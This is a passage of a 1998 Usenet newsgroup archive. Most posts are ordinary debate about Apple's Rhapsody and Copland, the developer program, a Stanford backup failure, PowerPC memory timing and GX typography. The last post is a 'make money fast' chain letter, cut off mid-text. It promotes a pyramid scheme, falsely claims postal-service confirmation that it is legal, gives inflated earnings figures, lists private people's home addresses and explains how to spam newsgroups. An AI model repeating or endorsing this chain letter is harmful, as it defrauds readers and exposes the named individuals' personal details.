years ago. Apple touted it very highly as the next generation OS. Hell, I
found a book in the LA Library entitled something like "Inside MacOS8" last
month, published by Apple Press. I borrowed it, hoping for some
interesting info on MacOS 8. I got puzzled at the mention of V-Twin, then
suddenly checked the publishing date when it began to describe the OS8
microkernal.
Yep, a wonderful glossy book about Copland, published at the same time the
DR0 or whatever it was shipped to a few developers. Lots of screenshots of
OS8 included, even a CD-ROM demoing the new features.
Couple that to Steve's comments about how he was folding Newton back into
Apple since it had such a great future in education, followed quickly by
total cancellation and annoucement of a vaporware MacOS Lite.
I believe that Apple is going to ship Rhapsody, but I can understand
developers being very, very wary.
--
Eric R. edremy@chem1.usc.edu
Director of Instructional Computing, USC Chemistry
"See, I told you they'd listen to Reason"- Fisheye, _Snow Crash_
If you think I speak for USC, see your doctor now.
From: dcoshel@pobox.com (Dave Oshel)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.oop.powerplant,comp.sys.mac.programmer.codewarrior,comp.sys.next.advocacy,comp.sys.next.programmer
Subject: Re: Apple developer program -shareware
Date: Sat, 11 Apr 1998 15:29:37 -0500
Organization: Xochitl Sodality
Message-ID: <dcoshel-1104981530090001@323-a-43-57.ppp.mcleodusa.net>
References: <6gg8il$6v9$1@ha2.rdc1.sdca.home.com> <B1511189-1AF6A@206.165.43.154> <6ggkg1$90k$1@news0-alterdial.uu.net> <SCOTT.98Apr8221520@slave.doubleu.com>
Mail-Copies-To: always
In article <SCOTT.98Apr8221520@slave.doubleu.com>, scott@doubleu.com
(Scott Hess) wrote:
[whack]
> Given two new hires fresh out of college, one of which has a fair
> covey of praised freeware, the other with good grades, which gets the
> more important job?
I've always wondered that. My one brief stint in the shrinkwrap software
biz kind of revealed that the guys (gals note below) who already have jobs
somewhere else get hired to do "important" stuff, while the new hires
fresh outa college work in q.a. or in intern slots. Once in q.a., always
in q.a. Interns have possibilities.
Regardless of ability, the guys (the gals are guys too, in the sexless
company way of looking at things) are all unmarried "coders" who work 80
hours a week 7 days a week and who "shower" naked at 6:30 AM in the
company toilet stalls with a huge bronze can of spray deodorant. The
married unmarried coders soon regain company-preferred status when their
divorces go through.
Anyone who is a "software engineer" or what used to be called a "systems
analyst" or "programmer analyst" (in the old days - yes, my hair is gray)
is getting paid far too much money, and will be demoted or reassigned for
bungling an innocent-looking project with impossible design criteria, such
as, "must be Mac native, must use MS VC++ 4.0 Cross-compiler Edition for
Macintosh, especially for look and feel."
Successful team leaders will be promoted to new ways of rewriting proven
software with unproven technologies and accelerated development schedules;
this improves the bottom line by increasing the pool of unvested (i.e.,
unclaimed) stock options. The rest of the schmucks get profit-sharing,
which is a way to pay out a $4000 raise in up to 4 smaller lump sums, each
positioned after an implacable deadline designed to shake malcontents off
the trolley.
Unionize? Your average libertarian geek would rather die. Life in the
in-house software trades is far less exciting, thank God.
--
David C. Oshel dcoshel@pobox.com
Cedar Rapids, IA http://soli.inav.net/~doshel
"Tension, apprehension and dissension have begun." - Duffy Wyg&,
in Alfred Bester's _The Demolished Man_
From: rriley@yahoo.com (Rex Riley)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Mac+Unix .vs. Windows-based PC's:: Stanford Univ.
Date: 10 Apr 1998 06:13:08 GMT
Organization: @Home Network
Message-ID: <6gkd9k$fd5$4@ha2.rdc1.sdca.home.com>
References: <6gipq1$9g2$1@ha2.rdc1.sdca.home.com> <6gj2ad$ap4$1@jaka.ece.uiuc.edu>
<6gj85u$e04$1@ha2.rdc1.sdca.home.com> <edremy-ya02408000R0904981401540001@nnrp.usc.edu>
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Cc: edremy@chem1.usc.edu
In <edremy-ya02408000R0904981401540001@nnrp.usc.edu> Eric Remy wrote:
[ snip challenge to extra work contention ]
> Having gone to Stanford for grad school, the network folks there seemed
> decent. (I wasn't in the business school, though.) However, I kept personal
> backups of my thesis. Many of them. Ditto the programs I wrote. I kept a
> backup copy at home, in case the building was destroyed by fire. (Happens
> in chemistry departments.)
>
But did you do a "full restore" to another system drive each time, "verify"
that everything was there and then "call it good" everyttime? We backup here,
and rotate tapes. We randomly check for a file we want to make certain "it"
is there. But to check everything on a "full restore" basis? There is just
so much time in a day. We run OPENSTEP and SOHO server for a small network.
If WinNT requires "full restore" to achieve "full confidence", Unix folks like
myself have simply gotten "Dumb Lucky" when "full restore" works when needed
as a practical consequence.
best...
-r
From: rriley@yahoo.com (Rex Riley)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Rhapsody ready for mission critical deployment?
Date: 11 Apr 1998 17:42:37 GMT
Organization: @Home Network
Message-ID: <6goa2d$j60$1@ha2.rdc1.sdca.home.com>
References: <352F2972.8C1088E4@pacific.net.sg>
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Cc: amind@pacific.net.sg
In <352F2972.8C1088E4@pacific.net.sg> Koo wrote:
> Is rhapsody ready for mission critical deployment when it is launched this
coming summer?
>
>
Get going on OPENSTEP now. OPENSTEP is MCCA ready. Dual System test against
Rhapsody when it comes out until you're comfortable. The investment of
cross-compiling between the two is only hours in most cases. Long-time OS
Developer's who'd written customizations required a day or so to port that
stuff over to Rhapsody. Between now and then I doubt you're going to optimize
your code.
This summer when it is launched, I'd be very confident that Rhapsody will be
"Deployment" ready. This is a new OSbuild but its foundation kits, libs,
tools and untilities have been MCCA deployed in the RealWorld for years. The
underlying unix of its OS predecessor was BSD flavored so the BSD upgrade
should be stable system-wide on Rhapsody.
The fact that Rhapsody launches into a hardware stream of 400Mhz processors
and its predecessor OPENSTEP was deployed MCCA on 40Mhz processors, is a
_10X_ performance enhancement for the OS. Rhapsody certainly isn't going to
soak-up any of those 10X cycles with new GUI embellishments. Rhapsody will be
a "very nice" OS with all that's necessary to "bet-the-store" . Combined with
its sister technologies WebObjects, EOF, PDO, QT and IB, Rhapsody presents
one-hell-of-a-compelling argument for corporate customers. Throw in Java API
interfaces, 100% Java compatibility and a little known feature called NXHost
and Corporate America has a great NetworkComputer solution.
The most important part of MCCA is getting started. With OPENSTEP
availability, nothing you design, develop and deploy is neither time nor
effort wasted. It allows you to start now and roll-over to Rhapsody when its
convenient.
Rhapsody has a Java learning curve. It'll take a month or two to let the
programming team settle in to their new environment. Six months they'll be
comfortable with it to the extent that you won't be able to take it away from
them.
-r
Rex Riley
From: philipm@NO-SPAMeecs.umich.edu (Philip Machanick)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.oop.powerplant,comp.sys.mac.programmer.codewarrior,comp.sys.next.advocacy,comp.sys.next.programmer
Subject: Re: Apple developer program
Date: Sat, 11 Apr 1998 13:45:06 -0400
Organization: Department of EE and Computer Science, The University of Michigan
Message-ID: <philipm-1104981345070001@pm1-25.eecs.umich.edu>
References: <01bc445f$744397e0$1bf0bfa8@davidsul> <352AAF57.25EB@skdjsk.no> <6geche$8lu$1@news2.apple.com> <philipm-0804982051170001@pm1-23.eecs.umich.edu> <6gj0or$oop$12@ironhorse.plsys.co.uk>
In article <6gj0or$oop$12@ironhorse.plsys.co.uk>, mmalcolm crawford
<malcolm@plsys.co.uk> wrote:
>By offering a hardware discount of course Apple was subsidising developers --
>that's what the discount was for. Now they've raised the bar to ensure in
Are you claiming that Apple was making less money on Macs sold through the
developer program? I doubt it. Maybe you could argue that _dealers_ were
subsidising developers since they were the ones who were really losing by
allowing developers to buy direct from Apple. But I doubt the developer
discounts were as low as the price to a really big dealer.
Ironic that Apple should be cutting something like this just when they've
accepted the principle of direct sales through the web store...
--
Philip Machanick Dept. of Computer Science, Univ. of Witwatersrand
on sabbatical until September 1998 at Dept EECS, University of Michigan
http://www.eecs.umich.edu/~philipm/ mailto:philipm@NO-SPAMeecs.umich.edu
From: veal@utk.edu (David Veal)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac+Unix .vs. Windows-based PC's:: Stanford Univ.
Date: 11 Apr 1998 20:22:52 GMT
Organization: University of Tennessee, Knoxville
Message-ID: <6gojes$khb$1@gaia.ns.utk.edu>
References: <6gipq1$9g2$1@ha2.rdc1.sdca.home.com> <joe.ragosta-1004981028520001@wil82.dol.net> <6gm4ru$f7b$3@gaia.ns.utk.edu> <pxpst2-1004981952580001@pelli.pathology.pitt.edu>
In article <pxpst2-1004981952580001@pelli.pathology.pitt.edu>,
Peter <pxpst2@vms.cis.pitt.edu> wrote:
>In article <6gm4ru$f7b$3@gaia.ns.utk.edu>, veal@utk.edu (David Veal) wrote:
>> That's not a criticism of a Windows, but a criticism of a centralized
>> solution. Any backup solution is subject to human failure.
>
>Once the solution is implemented then it should not be subject to human
>error ***UNLESS*** some fool/administer decides that something needs to
>change and does not test what he is doing first.
There can be human failure in handling the tapes (allowing a partial
backup to overwrite the last full backup, losing the tapes, putting them
in a location where they are destroyed), or as described in this case
human error in reloading the backup (overwriting the current data with
a corrupt, unverified backup).
Even if you were inclined to buy enough redundant hardware to take
the humans entirely out of the loop, there is still human involvement if
you do something smart like always keeping part of your backup cycle
off-site in case of something like a building fire.
Even the most automatic solution generally requires a human being to
load and unload backup media.
--
David Veal veal@utk.edu
WYSIWYG - What You See Is What You Get
WYGIWYD - What You Get Is What You Deserve
From: davewang@wam.umd.edu.delete.after.edu@Glue.umd.edu (David T. Wang)
Newsgroups: comp.sys.powerpc.tech,comp.sys.next.advocacy
Subject: Re: PowerPC with 100 MHz bus
Followup-To: comp.sys.powerpc.tech,comp.sys.next.advocacy
Date: 11 Apr 1998 20:45:08 GMT
Organization: University of Maryland, College Park
Message-ID: <6gokok$s2e$4@hecate.umd.edu>
Anil Thomas Maliyekkel (maliyekk@rice.edu) wrote:
: David T. Wang (davewang@wam.umd.edu.delete.after.edu@Glue.umd.edu) wrote:
: : Webmaster (scarsadm@scars.com) wrote:
: : : Also of note: According to MacOSRumors (awhile ago) Apple's next generation
: : : motherboard HAS achieved "near 100Mhz" speeds. But the source also stated
: : : that current plans - barring changes in the memory market - was to keep
: : : 89Mhz as probably the upper end because treading much higher would require
: : : memory near 5ns access for the motherboard and the was considered "too
: : : costly" for the home computer market.
: : 89 MHz is 11ns, and 100 MHz is 10ns. "Treading much higher would require
: : memory near 5ns access for the motherboard" doesn't really make sense to
: : me. Much higher? 166 MHz motherboard?
: : : =tkk
: Intel's specs for PC-100 SDRAM actually require the DRAM to run faster
: than 100MHz, at 125MHz I believe.
Okay, so if you take 25% to be gospel for the timing margin that we need,
5ns -> 6.25ns -> 160 MHz. Complaining about the lack of 5ns SDRAM is a
red herring, IMO.
From: nurban@crib.bevc.blacksburg.va.us (Nathan Urban)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple developer program
Date: 11 Apr 1998 14:57:03 -0400
Organization: Virginia Tech, Blacksburg, Virginia
Message-ID: <6goedv$giu$1@crib.bevc.blacksburg.va.us>
References: <01bc445f$744397e0$1bf0bfa8@davidsul> <1d7amvt.xk9qhj1mobulqN@dialup-202.def.oleane.com> <6gm9o0$evt$1@crib.bevc.blacksburg.va.us> <MPG.f98a80060b89b0798989f@news.supernews.com>
In article <MPG.f98a80060b89b0798989f@news.supernews.com>, don.brown@cesoft.com (Donald Brown) wrote:
> In article <6gm9o0$evt$1@crib.bevc.blacksburg.va.us>,
> nurban@crib.bevc.blacksburg.va.us says...
> > If everyone sits around and waits until Rhapsody has a market size of
> > X, rather than buying it and/or developing for it, can you guess the
> > likely outcome?
> > Me, I'm willing to put time and effort into a system that gets the
> > job done better than any other, and do what I can to _make_ it a good
> > platform.. if no one did, then nothing new would ever get used.
> That makes sense if and only if you have confidence that Rhapsody will
> actually ship, in roughly the same form and design as currently being
> shown,
Good grief. The developer conference is in a month. The commercial
release isn't much later. I've got a copy of RDR. Apple knows as well
as you and I do that MacOS just isn't going to cut it forever. Fine,
Apple has killed other technologies in the past, and maybe some of them
were mistakes, but they're not _that_ dumb. If they ditch Rhapsody now
they're doomed, if for no other reason than Apple's been touting it as
their next-generation OS. If Apple doesn't have a "next generation OS",
nobody's going to believe they're going to stick around, and no one's
going to believe that MacOS _is_ their "next generation OS".
Really, people have been burned in the past by Apple, probably you in
particular, but paranoia can be taken too far.
> and marketted well.
Now that's another matter entirely, I don't know if I have confidence
in Apple's marketing. Nonetheless, _I'm_ going to do _my_ part to make
Rhapsody a success, in whatever small way I can, because the alternatives
are just too grim. If other people do the same instead of whining,
maybe it _will_ be.
> Is that bad news for Rhapsody? Maybe. Maybe there are enough people
> with enough trust to make it happen. I hope so, because I want Apple and
> Rhapsody to succeed. But I will not risk my scarce resources on a
> promise from Apple anymore.
Even if Rhapsody got left by the wayside (and I don't think it will be),
there's still little reason not to develop to its APIs. Apple has
shown every indication that they're going to have strong Yellow Box
support in MacOS, they _know_ they've got the best OOP frameworks on
the planet and even Apple isn't stupid enough to throw _that_ away.
Do you think their _own_ developers want to continue using inferior
frameworks forever? And there's always Yellow Box for Windows..
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Rhapsody for the Open minded
Date: 11 Apr 1998 12:13:01 -0700
Organization: Primenet Services for the Internet
Message-ID: <B1550FCE-5B1ED@206.165.43.155>
References: <6gmmaa$ahc2@odie.mcleod.net>
nntp://news.primenet.com/comp.sys.next.advocacy,
nntp://news.primenet.com/comp.os.linux.advocacy
MIME-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Michelle L. Buck <buck.erik@mcleod.net> said:
> who cares ? Why should Apple implement and support editing of Hangul
> Tri-Glyphs (Whatever they are) wrapped along a curve with quadratic
> splines
> ? Perhaps there is a market for this, but I suspect that market could
pay
> extra for these features.
Or get them from elsewhere. Fact is, GX already supports this.
How many of Apple's customers could/would use
> this ? I would guess less than 1 percent.
Hangul users live in Japan, China, Korea, and probably other Asian
countries.
In other words, about 1/4-1/3 of all the people in the world would be
potential beneficiaries of this. The largest potential market and the
fastest-growing market for DTP software is in Asia and they are desparate
for good DTP products. Sanskrit, and other Indian languages have similar
needs. That's another billion people. So, 1/3-1/2 of all the people of the
world have languages where tri-glyph issues arise.
>
> Only a small percentage of computer users want the features of Freehand.
> Why should Apple provide even more features with ever computer shipped ?
Because it's there in GX already? Because it will soon be available to all
HyperCard users (every Mac user with a color Mac, System 7.1+ and enough
memory)?
BTW, it isn't just the complex languages that benefit from having a fast
way of dealing with a glyph's bounding box.
Maury's solution of caching the bounding box wouldn't work for many simple
roman languages, either.
Here's an example:
you have a string of text and you've cached the bounding boxes of every
glyph. What if the font/language (Rhaposdy WILL support GX fonts, remember)
supports features like first/last/middle-of-word variations? Add a space in
the middle of a word, and you may have just changed the appearance (and
almost certainly the bounding box size) of the new last letter of the
preceding word and the new first letter of the following word. Your cached
bounding boxes/text-widths are of no use to you now since unless your
algorithm has the smarts to recognize that the bounding box on either side
of the space has changed, you'll have to obtain a new bounding box for the
space (might be contextual also), and the surrounding glyphs.
So, just obtain the bounding boxes for 3 glyphs? What if you were dealing
with a ligature that you just broke up? What if you added a character or
replaced one that created a new 2-character ligature on either side of the
insertion point and at the same time, influenced the appearance of glyphs
on the far side of the new glyphs?
What if you were using a font like Hoefler, set to Italic, with the option
to avoid overlapping swashes and you added a capital letter, which often
has extremely ornate swashes that can overlap several letters? What if you
were quoting Hebrew within English or English within Hebrew? What if you
were using a language that changes the appearance of quoted
foreign-language text? Some languages, as I understand it, don't allow
ornate fonts at all, when dealing with quoted foreign languages. Add a
single word from one of these languages to the front of your ornate English
text, and suddenly it's in a mon-spaced font and your entire bounding box
cache is invalid.
All of those are trivial examples using English and one of the fonts that
is distributed with all new Macintoshes and with every Mac that has been
sold since 1994 (except the Hebrew/English/whatever examples, of course).
You can't use (corrections welcome) the bounding box cache idea in any of
the above examples, and yet they're trivial situations and will become more
and more common in the future of DTP.
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: kvwright@sans.vuw.ac.nz (Ken Wright)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.oop.powerplant,comp.sys.mac.programmer.codewarrior,comp.sys.next.advocacy,comp.sys.next.programmer
Subject: Re: Apple developer program
Date: Sun, 12 Apr 1998 09:50:26 +1300
Organization: Victoria University of Wellington, New Zealand.
Message-ID: <1d7c5ae.11ouwaz1r6e7ckN@ppp2.sans.vuw.ac.nz>
References: <joe.ragosta-1004980621290001@elk81.dol.net> <B153C956-14E86@206.165.43.115>
Cache-Post-Path: totara.its.vuw.ac.nz!unknown@ppp2.sans.vuw.ac.nz
Lawson English <english@primenet.com> wrote:
> Joe Ragosta <joe.ragosta@dol.net> said:
>
> > > SDK's and Mac API development don't interest me. I want to know what
> > will
> > > happen to the cost of developing for Rhapsody.
> > >
> >
> > How about zero dollars? Download MkLinux and GNUStep.
>
>
>
> GNUStep doesn't exist as a useable product, letalone a standard anyone
> could develop for. And what does MKLinux have to do with Rhaposdy
> developement? The fact that they are both Unices?
>
> ----------------------------------------------------------------------
> Want Apple to license Cyberdog for third-party development? Go to:
> <http://www.pcsincnet.com/petition.html>
> ----------------------------------------------------------------------
--
______________________
Breathe the pressure
From: see-below@not-my-address.com (Matthew Vaughan)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac+Unix .vs. Windows-based PC's:: Stanford Univ.
Date: Sat, 11 Apr 1998 14:41:22 -0700
Message-ID: <see-below-1104981441220001@209.24.242.18>
References: <6gipq1$9g2$1@ha2.rdc1.sdca.home.com> <trev-0904981206050001@nas-sa-p5.usc.net> <352d5190.286081406@news.sunflower.com> <joe.ragosta-0904981940420001@elk64.dol.net> <edremy-ya02408000R0904981710030001@nnrp.usc.edu> <Josh.McKee-1004982152020001@pm3a12.rmac.net> <6goebb$i9s$1@usenet11.supernews.com>
In article <6goebb$i9s$1@usenet11.supernews.com>, "Zico"
<ZicoKnows@hotmail.com> wrote:
> Joshua T. McKee wrote in message ...
>
> >Eric Remy wrote:
> >
> >
> >> The sysadmins didn't verify that their backup was good, then
> overwrote the
> >> good data with the bad.
> >
> >What makes me wonder is why they had to restore from backup to begin
> >with. Why does moving two servers cause them to become unusable?
I think they were actually upgrading to larger hard drives, so they were
transferring data to new drives, not just moving the machines.
> Actually, the article didn't even say that the servers were
> Windows machines. A number of platforms could have been
> serving those files. Windows users were affected because
> the clients for those servers ran Windows. If NT or Netware
> had been serving the files for the Mac clients and Stanford
> issued a press statement saying "Sorry, but our Mac users
> might have lost a lot of their data," would you be hooping
> and hollering about Mac problems?
I think you're right. I don't remember what they were, but I'm pretty sure
they _weren't_ Windows boxes. I kind of thought they were some kind of
minicomputer.
> >> The sysadmins were idiots. The users were idiots. There's plenty
> of blame
> >
> >Were they? In hindsight, maybe so...but these guys must have some
> really
> >bad luck. Two servers that failed after being moved? Backups that
> didn't
> >work when needed?
>
> The restore of the backups *did* work when needed. The problem
> was that the admins didn't backup everything that they were
> supposed to. In hindsight, in foresight, and in every kind of
> sight, the admins screwed up. Do you really think they would
> have admitted that they were at fault for a disaster this big
> if it wasn't the case?
....................................................
MATTHEW VAUGHAN
matthewv at best dot com (damn spammers...)
http://www.best.com/~matthewv/
....................................................
From: "NeXT Newbie" <macghod@concentric.net>
Newsgroups: comp.soft-sys.nextstep,comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.next.hardware,comp.sys.next.misc
Subject: good books for openstep?
Date: 11 Apr 1998 22:26:07 GMT
Distribution: inet
Message-ID: <01bd6661$b87e7cc0$43f0bfa8@davidsul>
What are some good books for openstep and/or the unix underneath?
Including stuff like system maintance, setting up ppp, email, modems etc
etc.
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.oop.powerplant,comp.sys.mac.programmer.codewarrior,comp.sys.next.advocacy,comp.sys.next.programmer
From: pischke@ecf.toronto.edu (David Pischke)
Subject: Re: Apple developer program
Sender: news@ecf.toronto.edu (News Administrator)
Message-ID: <Er9A2E.BC8@ecf.toronto.edu>
Date: Sat, 11 Apr 1998 15:37:26 GMT
References: <6glos8$oop$17@ironhorse.plsys.co.uk> <B154522B-157593@207.217.155.30> <j-jahnke-1104980444020001@192.168.1.3>
Organization: University of Toronto, Engineering Computing Facility
In article <j-jahnke-1104980444020001@192.168.1.3>,
Jerome Jahnke <j-jahnke@uchicago.edu> wrote:
>In article <B154522B-157593@207.217.155.30>, "Brad Hutchings"
><brad@hutchings-software.com> wrote:
>> That statement IS NOT true. I know of one developer whose credit card was
>> charged in December for new Associates membership. I'd be more than happy
>> to put ADR reps in touch with that developer. Look, it's only $250, but if
>> the "Apple response" to developers who don't like this move is "RTFP" or
>> "deal with it" or "get a clue", then incorrect assertions like the above
>> are going to be criticized.
>> NOTE: I'm not accusing mmalc or Jordan J. Dea-Mattson of lying. I'm just
>> saying that the statement quoted above is not true.
>
>I am one of those guys, my renewal date is "tada" 12/98.
Guess when my renewal date is? March 31, 1999.
They were accepting new enrolments less than a month before they made the
changes.
From: davewang@wam.umd.edu.delete.after.edu@Glue.umd.edu (David T. Wang)
Newsgroups: comp.sys.powerpc.tech,comp.sys.next.advocacy
Subject: Re: PowerPC with 100 MHz bus
Followup-To: comp.sys.powerpc.tech,comp.sys.next.advocacy
Date: 11 Apr 1998 16:38:18 GMT
Organization: University of Maryland, College Park
Message-ID: <6go69q$8l1$3@hecate.umd.edu>
Webmaster (scarsadm@scars.com) wrote:
: Also of note: According to MacOSRumors (awhile ago) Apple's next generation
: motherboard HAS achieved "near 100Mhz" speeds. But the source also stated
: that current plans - barring changes in the memory market - was to keep
: 89Mhz as probably the upper end because treading much higher would require
: memory near 5ns access for the motherboard and the was considered "too
: costly" for the home computer market.
89 MHz is 11ns, and 100 MHz is 10ns. "Treading much higher would require
memory near 5ns access for the motherboard" doesn't really make sense to
me. Much higher? 166 MHz motherboard?
: =tkk
From: Jonathan Hendry <jhendry@subsequent.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Microsoft Faking Testimonials...
Date: 11 Apr 1998 16:44:05 GMT
Organization: Steel Driving Software, Chicago
Sender: Jonathan Hendry <jhendry@isdnjhendry.cmg.fcnbd.com>
Message-ID: <6go6kl$a7p@dfw-ixnews9.ix.netcom.com>
References: <352EACAE.63C17F01@rs6000.cmp.ilstu.edu>
Eric A. Dubiel <eadubie@rs6000.cmp.ilstu.edu> wrote:
> I think the feds should just let the case drop, and let the free-market
> be the regulator.
This 'free-market' of which you speak has never been seen outside
of a think-tank or a spreadsheet. It only exists under certain
narrow sets of circumstances. Whether a market is 'free' or not
isn't just determined by the government. Microsoft has removed
a great deal of freedom in the computer industry.
The perfectly-functioning free market is as much a utopian chimera
as perfect communism.
From: flowers@flowers.com
Newsgroups: comp.sys.next.advocacy
Subject: Do you want to earn CASH $$$ ?
Date: Sun, 12 Apr 1998 06:09:09 -0700
Organization: <no organization>
Message-ID: <120498060909@flowers.com>
It Works!!!!
First, I would like to start off by telling you that I am only 15 and
ROLLING in cash. I'm thinking about buying a new car when I get my driver's
license.
This WORKS! But you must follow my instructions to the letter. Once you get
the hang of it though, it's really easy. So if
you want some extra cash, and would like to earn it by doing nothing, then
it's worth it. All you have to do is follow the directions and you'll make a
ton!. To get the details, read
on.......................
THIS REALLY CAN MAKE YOU EASY MONEY!
A little while back, I was browsing some newsgroups and came across an
article similar to this that said you could make thousands of dollars
within weeks with only an initial investment of $6.00! So I thought, "OK,
why not
try this, if its a scam I'll only lose $6.00." Besides, it's so simple - no
complicated stuff like mailing disks to people [some of the others are based
on selling computer disks to people]. Anyway, it told me to send $1.00 to
each of the 6 people on the list. You
then place your own name and address in the bottom of the list at #6, and
post the article in some newsgroups (there are literally thousands). No
catch, that was it. So I thought 'hey, what have I got to lose
except six stamps and a few bucks, right?'
But like most of you I was still a little skeptical and a little worried
about
the legal aspects of it all. So I checked it out with the U.S. Post Office
(1-800-725-2161) and they confirmed that it is indeed legal!
I then invested the measly $6.00, and stamps.
Well, GUESS WHAT.....within 7 days, I started getting money in the mail!
I was shocked! I still figured it would end soon, and didn't give it
another thought. I had done an experiment, and I made back my $7.92. But the
money just kept coming in. In my first week, I
made about $36.00 dollars. By the end of the second week I had made a total
of
over $1,000.00!!!!!! In the third week I had over $10,000.00 and it's still
growing. This is now my fourth week and I have made a total of just over
$42,000.00 and it's still coming in VERY rapidly!
It's certainly worth $6.00, and 6 stamps, You could spend more than that
on the
lottery!!
Let me tell you how this works and most importantly, WHY it
works..... also, you might want to print a copy of this article, so you can
refer to it as needed. The process is very simple and consists of 3 easy
steps:
STEP 1: Get 6 separate pieces of paper and write the following on each one:
"PLEASE PUT ME ON YOUR MAILING LIST" + your name and address. Now
get six American $1.00 bills and place ONE inside EACH of the 6 pieces of
paper and fold it over so the bill will not be seen through
the envelope (to prevent theft). Now, put one paper in each of the six
envelopes and seal them. You should now have six sealed envelopes, each with
a piece of paper stating the above phrase, your name, your address, and a
$1.00 bill.
STEP 2: Mail the 6 envelopes to the following addresses:
*1 Earl Sampson
16975 Cherry Crest Ave.
Lake Oswego, OR 97O34
*2 Mark Bailey
39O6 Arnold Ct.
Cleveland, OH 441O9
*3 Kane McDolh
327O De la Pepiniere ave.
appartment 2O8
Montreal, Quebec
Canada H1N-3N4
*4 David Lane
816 Danbbury Road
Cincinnati, Ohio 45240
*5 Jeremy Fulton
5804 Inman Park Circle
Unit 370
Rockville, MD 20852
*6 Arkay Sajorda
1B Jalan Tun Sambanthan 4,
Brickfields 50470
Kuala Lumpur, Malaysia
STEP 3: Now take the #1 name off the list that you see above, move the
other names up (#6 becomes #5, #5 becomes #4, etc...) and add YOUR Name as
#6 on
the list.
STEP 4: Change anything you need to, but try to keep this article as close
to original as possible. Now, post your amended article to some newsgroups
(I think there are close to 24,000 newsgroups) and/or email it to some
people. remember, the more you post, the more money you make!
Don't know HOW to post in the newsgroups? Well do exactly the following:
---------------------------------------------------------------------------
DIRECTIONS - HOW TO POST TO NEWSGROUPS
---------------------------------------------------------------------------
Step 1: You do not need to re-type this entire letter to do your own
posting. Simply put your cursor at the beginning of this letter, click and
hold down your mouse button. While continuing to hold down the mouse
button, drag your cursor to the bottom of this document and over to just
after the
last character, and release the mouse button. At this point the entire
letter should be highlighted. Then, from the 'edit' pull down menu
at the top of your screen select 'copy'. This will copy the entire letter
into the computers memory.
Step 2: Open a blank 'notepad' file and place your cursor at the top of the
blank page. From the 'edit' pull down menu select 'paste'. This will paste
a copy of the letter into notepad so that you can add your name to the list.
Remember to eliminate the #1 position, move everyone up a spot (re-number
everyone elses positions), and add yourself in as #6.
Step 3: Save your new notepad file.
---------------------------------------
FOR NETSCAPE NAVIGATOR USERS:
---------------------------------------
Step 4: Within the Netscape program, go to the pull-down window entitled
'Window' select 'NetscapeNews'. Then from the pull down menu 'Options',
select 'Show all Newsgroups'. After a few moments a list of all the
newsgroups on your server will show up. Click on any newsgroup you desire.
From within this newsgroup, click on the 'TO NEWS' button, which should be
in the top left corner of the
newsgroups page. This will bring up a message box.
Step 5: Fill in the Subject. This will be the header that everyone sees as
they scroll through the list of postings in a particular group.
Step 6: Highlight the entire contents of your .txt file and copy them using
the same technique as before. Go back to the newsgroup 'TO NEWS' posting
you are creating and paste the letter into the body of your posting.
Step 7: Hit the 'Send' Button in the upper left corner. You're done with
your first one! Congratulations...
-----------------------------------------------
INTERNET EXPLORER USERS:
-----------------------------------------------
Step 4: Go to newsgroups and select 'Post an Article' or 'New Message.'
Step 5: Fill in the subject. This will be the header that everyone sees as
they scroll through the list of postings in a particular group.
Step 6: Highlight the entire contents of your .txt file and copy them using
the same technique as before. Go back to the newsgroup 'TO NEWS' posting
you are creating and paste the letter into the body of your posting.
Step 7: Hit the 'Send' Button in the upper left corner. You're done with
your first one! Congratulations...
----------------------------------------------------------------------------
--------
THAT'S IT! All you have to do is jump to different newsgroupes and post
away, after you get the hang of it, it will take about 30 seconds for each
newsgroup!
**THE MORE NEWSGROUPS YOU POST IN, THE MORE MONEY YOU WILL** **MAKE!!**
That's it! You will begin reciving money from around the world within
days! You may eventually want to rent a P.O.Box due to the large amount of
mail you receive. If you wish to stay anonymous, you can invent a name to
use, as long as the postman will deliver it.
**JUST MAKE SURE ALL THE ADDRESSES ARE CORRECT.**
Now the WHY part:
Out of 200 postings, say I receive only 5 replies (a very low example).
So then I made $5.00 with my name at #6 on the letter. Now, each of the 5
persons who just sent me $1.00 make 200 postings, each with my name at #5
and only 5 persons respond to each of the original 5, that is another
$25.00 for me, now those 25 each make 200 posts with my name at #4 and only
5
replies each, I will bring in an additional $125.00! Now, those 125 persons
turn around and post 200 with my name at #3 and only receive 5 replies each,
I
will make an additional $626.00! OK, now here is the fun part, each of
those 625 persons post 200 letters with my name at #2 and they each only
receive
5 replies, that just made me $3,125.00!!! Those 3,125 persons will all
deliver this message to 200 newsgroups with my name at
#1 and if still 5 persons per 200 newsgroups react I will receive
$15,625,00! With a original investment of only $6.00! AMAZING! And as I
said 5 responses is actually VERY LOW! Average is probably 20 to 30! So lets
put
those figures at just 15 responses per person. Here is what you could make:
at #6 $15.00
at #5 $225.00
at #4 $3,375.00
at #3 $50,625.00
at #2 $759,375.00
at #1 $11,390,625.00
When your name is no longer on the list, you just take the latest posting
in the newsgroups, and send out another $6.00 to names on the list, putting
your name at number 6 again. And start posting again. The thing to remember
is, do you realize that thousands of people all over the world are joining
the internet and reading these articles everyday, JUST LIKE YOU are now!!
So can you afford $6.00 and see if it really works?? I think so... People
have said, "what if the plan is played out and no one sends you the money?
So what! What are the chances of that happening when there are tons of new
honest users and new honest people who are joining the internet and
newsgroups everday and are willing to give it a try? Estimates are at
20,000 to 50,000 new users, every day, with thousands of those joining the
actual
internet. Remember, play FAIRLY and HONESTLY and this will work. You just
have to be honest.
Make sure you print this article out RIGHT NOW, also. Try to keep a list
